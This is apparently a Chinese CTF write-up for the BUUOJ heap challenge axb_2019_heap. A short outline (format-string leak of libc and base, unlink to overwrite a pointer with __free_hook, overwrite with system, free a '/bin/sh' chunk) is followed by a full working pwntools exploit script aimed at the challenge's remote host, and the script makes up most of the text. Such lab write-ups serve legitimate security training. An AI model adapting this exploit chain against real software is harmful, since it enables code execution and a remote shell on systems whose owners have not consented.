• axb_2019_heap


    利用思路

    指针没学好...导致这题卡了好久....orz

    • 首先利用格式化字符串泄露 libc 和程序基址。
    • 运用 unlink ,将 chunk 0 的地址覆写为 free_hook 的地址。
    • 将system 地址写入 free_hook。
    • 触发写入了 '/bin/sh' 的块的删除,执行 system('/bin/sh')。

    exp 脚本

    from pwn_debug import *
    
    context.log_level = 'debug'
    
    pdbg = pwn_debug('axb_2019_heap')
    pdbg.local()
    pdbg.remote('node3.buuoj.cn',25087)
    p = pdbg.run('remote')
    libc = pdbg.libc
    elf=ELF('./axb_2019_heap')
    
    def add(idx,size,content):
    	p.sendlineafter('>>','1')
    	p.sendlineafter('):',str(idx))
    	p.sendlineafter('size:',str(size))
    	p.sendlineafter('content:',content)
    
    def delete(idx):
    	p.sendlineafter('>>','2')
    	p.sendlineafter('index:',str(idx))
    
    def edit(idx,content):
    	p.sendlineafter('>>','4')
    	p.sendlineafter('index:',str(idx))
    	p.sendlineafter('content: 
    ',content)
    
    def show():
    	p.sendlineafter('>>','3')
    
    p.recvuntil('name: ')
    p.sendline('%11$p%15$p')
    p.recvuntil('Hello, ')
    base=int(p.recv(14),16)-0x1186
    libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
    system=libcbase+libc.sym['system']
    free_hook=libcbase+libc.sym['__free_hook']
    bss=base+0x202060
    add(0,0x98,'a'*0x98)#0
    add(1,0x98,'bbbb')#1
    add(2,0x90,'cccc')#2
    add(3,0x90,'/bin/shx00')#3
    
    #gdb.attach(p)
    
    payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'xa0'
    edit(0,payload)
    #gdb.attach(p)
    delete(1)
    #gdb.attach(p)
    edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
    edit(0,p64(system))
    delete(3)
    
    p.interactive()
    

    get flag

    内容来源

    axb_2019_heap

  • 相关阅读:
    添加配置分析
    day06 prometheus
    电话收藏
    xxljob客户端启动分析
    xxljob运行idea可以,生产环境不行
    Apoll创建项目分析
    xxljob后台admin管理端启动流程
    xxljob服务器端远程触发任务逻辑
    发布配置分析
    Java 线程池工作过程
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12422495.html
Copyright © 2020-2023  润新知